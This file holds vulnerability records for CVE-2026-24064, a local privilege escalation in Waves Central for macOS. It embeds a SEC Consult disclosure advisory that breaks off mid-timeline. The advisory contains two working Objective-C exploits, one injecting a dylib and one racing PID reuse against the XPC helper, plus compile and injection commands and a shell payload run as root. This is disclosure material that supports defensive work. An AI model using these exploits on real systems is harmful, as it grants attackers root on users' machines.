{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "platforms": [
            "MacOS"
          ],
          "product": "Waves Central",
          "vendor": "Waves Audio Ltd.",
          "versions": [
            {
              "lessThanOrEqual": "16.5.5",
              "status": "affected",
              "version": "13.0.9",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "551230f0-3615-47bd-b7cc-93e92e730bbf"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Waves Central for macOS versions 13.0.9 through 16.5.5 contain a local privilege escalation vulnerability. A trusted XPC client component included with the product is signed with hardened runtime entitlements that permit dynamic library injection. A local attacker can set the DYLD_INSERT_LIBRARIES environment variable to inject an attacker-controlled dynamic library into the trusted client process at launch. The injected code runs within the signed process and can connect to the product\u0027s privileged helper service to invoke privileged operations, resulting in arbitrary code execution as root. The issue is fixed in version 16.6.2."
    },
    {
      "lang": "es",
      "value": "Waves Central para macOS versiones 13.0.9 a 16.5.5 contienen una vulnerabilidad de escalada de privilegios local. Un componente de cliente XPC de confianza incluido con el producto est\u00e1 firmado con derechos de ejecuci\u00f3n reforzados que permiten la inyecci\u00f3n de bibliotecas din\u00e1micas. Un atacante local puede establecer la variable de entorno DYLD_INSERT_LIBRARIES para inyectar una biblioteca din\u00e1mica controlada por el atacante en el proceso del cliente de confianza al iniciar. El c\u00f3digo inyectado se ejecuta dentro del proceso firmado y puede conectarse al servicio de ayuda privilegiado del producto para invocar operaciones privilegiadas, lo que resulta en ejecuci\u00f3n de c\u00f3digo arbitrario como root. El problema est\u00e1 solucionado en la versi\u00f3n 16.6.2."
    }
  ],
  "id": "CVE-2026-24064",
  "lastModified": "2026-07-23T08:10:00.137",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 7.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 5.9,
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-24064",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-10T13:44:00.903877Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-09T16:16:39.350",
  "references": [
    {
      "source": "551230f0-3615-47bd-b7cc-93e92e730bbf",
      "url": "https://r.sec-consult.com/waves"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://r.sec-consult.com/waves"
    }
  ],
  "sourceIdentifier": "551230f0-3615-47bd-b7cc-93e92e730bbf",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-426"
        }
      ],
      "source": "551230f0-3615-47bd-b7cc-93e92e730bbf",
      "type": "Secondary"
    }
  ]
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Audio - Waves Central",
          "vendor": "Waves",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260609-0 \u003e\n=======================================================================\n              title: Multiple Local Privilege Escalation Vulnerabilities\n            product: Waves Audio - Waves Central\n vulnerable version: v13.0.8 - v16.6.0\n\u00a0 \u00a0 \u00a0 fixed version: v16.6.2\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-24064, CVE-2026-24065\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://www.waves.com\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-07\n                 by: Florian Haselsteiner (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Waves is the world\u2019s leading developer of audio plugins and signal processors\nfor the professional and consumer electronics audio markets. Heard on hit\nrecords, major motion pictures, and popular video games worldwide, Waves\u2019\ncutting-edge software and hardware processors are used in every aspect of\naudio production, from tracking to mixing to mastering, broadcast, live sound,\nand more. Waves offers Native and SoundGrid audio plugins in VST, TDM, RTAS,\nand AU formats for Pro Tools, Logic, Cubase, Ableton and other popular hosts.\"\n\nSource:https://www.waves.com/about-us\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)\nWaves Central provides a \"PrivilegedHelperTool\" during installation.\nIt uses the \"InstlHelperApplication\" located at the following path\nto connect to the privileged helper tool via XPC:\n/Applications/Waves\\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/\n\nIt was found that the \"InstlHelperApplication\" was signed with the\nentitlements \"com.apple.security.cs.allow-dyld-environment-variables\" and\n\"com.apple.security.cs.disable-library-validation\" which together allow to inject\nunsigned libraries into the process and therefore inheriting the code signature.\n\n----------------------------------------------------------------------\n% codesign -dvv --entitlements -  /Applications/Waves\\ \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\nExecutable=/Applications/Waves \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\nIdentifier=com.waves.central.InstlHelperApplication\nFormat=app bundle with Mach-O universal (x86_64 arm64)\nCodeDirectory v=20500 size=1684 flags=0x10000(runtime) hashes=41+7 location=embedded\nSignature size=8956\nAuthority=Developer ID Application: Waves Inc (GT6E3XD798)\nAuthority=Developer ID Certification Authority\nAuthority=Apple Root CA\nTimestamp=12.02.2023 at 19:37:53\nInfo.plist entries=32\nTeamIdentifier=GT6E3XD798\nRuntime Version=11.1.0\nSealed Resources version=2 rules=13 files=5\nInternal requirements count=1 size=200\n[Dict]\n        [Key] com.apple.security.inherit\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.network.client\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.network.server\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.bookmarks.app-scope\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.disable-library-validation\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.bookmarks.document-scope\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.user-selected.read-write\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.personal-information.addressbook\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.allow-dyld-environment-variables\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.allow-unsigned-executable-memory\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.disable-executable-page-protection\n        [Value]\n                [Bool] true\n----------------------------------------------------------------------\nBy inheriting the code signature an attacker, who injects a malicious\nlibrary into the application, is able to abuse the signature of the\nInstlHelperApplication to connect to the privileged helper tool via\nits exposed mach service \"com.waves.central.InstlHelper\".\n\n\n2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)\nIt was found that the XPC service \"com.waves.central.InstlHelper\", offered\nby the privileged helper, uses the connecting client\u0027s PID to check its\ncode signature. This is insecure and can be attacked using a PID reuse\nattack, which will trick the service into thinking the connecting client\nhas a valid code signature.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)\nThe attacker can abuse the function \"executeIrlFileWithPath\" offered by\nthe privileged helper to get code execution as root.\nTo demonstrate this the following dynamic library has been developed.\nAfter loading the library, \"executeIrlFileWithPath\" is triggered\nto execute /tmp/lol which is basically a shell script:\n\n----------------------------------------------------------------------\n#import \u003cFoundation/Foundation.h\u003e\n//gcc -dynamiclib name\n#include \u003cstdio.h\u003e\n@protocol HelperProtocol\n\n- (void)getVersionWithCompletion:(void (^)(id version))completion;\n- (void)executeIrlFileWithPath:(NSString *)filePath\n                       homeDir:(NSString *)homeDir\n                        asUser:(id)asUser\n                    completion:(void (^)(id result))completion;\n\n//executeIrlFile(withPath: Swift.String, homeDir: Swift.String, asUser: Swift.String, authData: __C.NSData?, completion: \n(__C.NSNumber) -\u003e ()) -\u003e ()\n\n@end\n\n__attribute__((constructor))\nstatic void myconstructor(int argc, const char **argv)\n{\n        \n    NSXPCConnection *conn =\n        [[NSXPCConnection alloc]\n            initWithMachServiceName:@\"com.waves.central.InstlHelper\"\n            options:NSXPCConnectionPrivileged];\n\n    conn.remoteObjectInterface =\n        [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\n\n    [conn resume];\n\n    id\u003cHelperProtocol\u003e proxy =\n        [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {\n            NSLog(@\"XPC error: %@\", error);\n        }];\n\n    [proxy getVersionWithCompletion:^(id version) {\n        NSLog(@\"Version: %@\", version);\n    }];\n    [proxy executeIrlFileWithPath:@\"/tmp/lol\"\n                       homeDir:@\"/tmp\"\n                        asUser:@\"root\"\n                    completion:^(id result){\n                        NSLog(@\"Execution result: %@\", result);}];\n        [[NSRunLoop currentRunLoop] run];\n\n----------------------------------------------------------------------\n\nThis code can be compiled using the following command:\nclang -o waves_exploit.dylib -dynamiclib -framework Foundation waves_exploit.mm\n\nAfter loading the library, /tmp/lol is created as described above:\ncat /tmp/lol\n/bin/bash -c \"touch /etc/pwnedbytmp\"\n\nIt can then be loaded into the injectable XPC client InstlHelperApplication:\n\nDYLD_INSERT_LIBRARIES=/Users/user/Desktop/waves_exploit.dylib /Applications/Waves\\ \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\n\n\n2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)\nTo exploit this issue an attacker can abuse the insecure client validation via\nPID to gain access to the corresponding NSXPC functions via XPC.\nThe \"executeIrlFileWithPath\" function can be exploited to gain code execution\nas root. The following Objective C PoC code was created:\n\n----------------------------------------------------------------------\n#import \u003cFoundation/Foundation.h\u003e\n#include \u003cspawn.h\u003e\n#include \u003csys/stat.h\u003e\n\n#define RACE_COUNT 32\n#define BINARY \"/Applications/Waves \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\"\n\n// allow fork() between exec()\nasm(\".section __DATA,__objc_fork_ok\\n\"\n\"empty:\\n\"\n\".no_dead_strip empty\\n\");\n\nextern char **environ;\n\n@protocol HelperProtocol\n\n- (void)getVersionWithCompletion:(void (^)(id version))completion;\n- (void)executeIrlFileWithPath:(NSString *)filePath\n                       homeDir:(NSString *)homeDir\n                        asUser:(id)asUser\n                    completion:(void (^)(id result))completion;\n@end\n\nvoid child() {\n\n    // send the XPC messages\n    NSXPCConnection *conn =\n        [[NSXPCConnection alloc]\n            initWithMachServiceName:@\"com.waves.central.InstlHelper\"\n            options:NSXPCConnectionPrivileged];\n\n    conn.remoteObjectInterface =\n        [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\n\n    [conn resume];\n\n    id\u003cHelperProtocol\u003e proxy =\n        [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {\n            NSLog(@\"XPC error: %@\", error);\n        }];\n\n    [proxy getVersionWithCompletion:^(id version) {\n        NSLog(@\"Version: %@\", version);\n    }];\n    [proxy executeIrlFileWithPath:@\"/tmp/lol\"\n                       homeDir:@\"/tmp\"\n                        asUser:@\"root\"\n                    completion:^(id result){\n                        NSLog(@\"Execution result: %@\", result);}];\n\n    char target_binary[] = BINARY;\n    char *target_argv[] = {target_binary, NULL};\n    posix_spawnattr_t attr;\n    posix_spawnattr_init(\u0026attr);\n    short flags;\n    posix_spawnattr_getflags(\u0026attr, \u0026flags);\n    flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);\n    posix_spawnattr_setflags(\u0026attr, flags);\n    posix_spawn(NULL, target_binary, NULL, \u0026attr, target_argv, environ);\n}\n\nbool create_nstasks() {\n\n    NSString *exec = [[NSBundle mainBundle] executablePath];\n    NSTask *processes[RACE_COUNT];\n\n    for (int i = 0; i \u003c RACE_COUNT; i++) {\n        processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @\"imanstask\" ]];\n    }\n\n    int i = 0;\n    struct timespec ts = {\n        .tv_sec = 0,\n        .tv_nsec = 500 * 1000000,\n    };\n\n    nanosleep(\u0026ts, NULL);\n    if (++i \u003e 4) {\n        for (int i = 0; i \u003c RACE_COUNT; i++) {\n            [processes[i] terminate];\n        }\n        return false;\n    }\n\n    return true;\n}\n\nint main(int argc, const char * argv[]) {\n\n    if(argc \u003e 1) {\n    // called from the NSTasks\n        child();\n\n    } else {\n        NSLog(@\"Starting the race\");\n        create_nstasks();\n    }\n\n    return 0;\n}\n----------------------------------------------------------------------\n\nThis can be compiled using gcc with the following command:\ngcc -o exploit_waves_pid -framework Foundation exploit_pid.m\n\nAfter creating the file /tmp/lol accordingly the binary can be run and the\nhelper will execute /tmp/lol as root.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 16.1.6.244088\n\n\nVendor contact timeline:\n------------------------\n2026-01-21: Contacting vendor throughhttps://www.waves.com/contact-us\n2026-01-22: Response by vendor, stating they will provide PGP keys for encrypted\n            communication as well as dedicated security email address.\n2026-01-27: Asking for the encryption details.\n2026-01-28: Vendor provides PGP key.\n2026-01-29: Submitting encrypted advisory to vendor.\n2026-02-04: Vendor had troubles decrypting the advisory. It was sent unencrypted\n            upon request.\n2026-02-18: Ven"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:30:12Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/6"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/6"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://www.waves.com"
        },
        {
          "url": "https://www.waves.com/about-us"
        },
        {
          "url": "https://www.waves.com/contact-us"
        },
        {
          "url": "https://www.waves.com/downloads/central"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/6"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260609-0 :: Multiple Local Privilege Escalation Vulnerabilities in Waves Audio - Waves Central",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-24064",
              "type": "related"
            },
            {
              "destId": "CVE-2026-24065",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0364",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/6",
            "automated": true,
            "contentSha256": "a7eb0019ad78c21843df53cc6f5258f488de744f24b3dfb2adbfac8a6c798f2d",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/6",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-09T06:50:33Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0364"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T11:30:12Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0364"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-24064"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-426"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T16:16:39Z",
    "severity": "HIGH"
  },
  "details": "Waves Central for macOS versions 13.0.9 through 16.5.5 contain a local privilege escalation vulnerability. A trusted XPC client component included with the product is signed with hardened runtime entitlements that permit dynamic library injection. A local attacker can set the DYLD_INSERT_LIBRARIES environment variable to inject an attacker-controlled dynamic library into the trusted client process at launch. The injected code runs within the signed process and can connect to the product\u0027s privileged helper service to invoke privileged operations, resulting in arbitrary code execution as root. The issue is fixed in version 16.6.2.",
  "id": "GHSA-6fpq-hqx5-5mq2",
  "modified": "2026-06-10T15:31:27Z",
  "published": "2026-06-09T18:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24064"
    },
    {
      "type": "WEB",
      "url": "https://r.sec-consult.com/waves"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}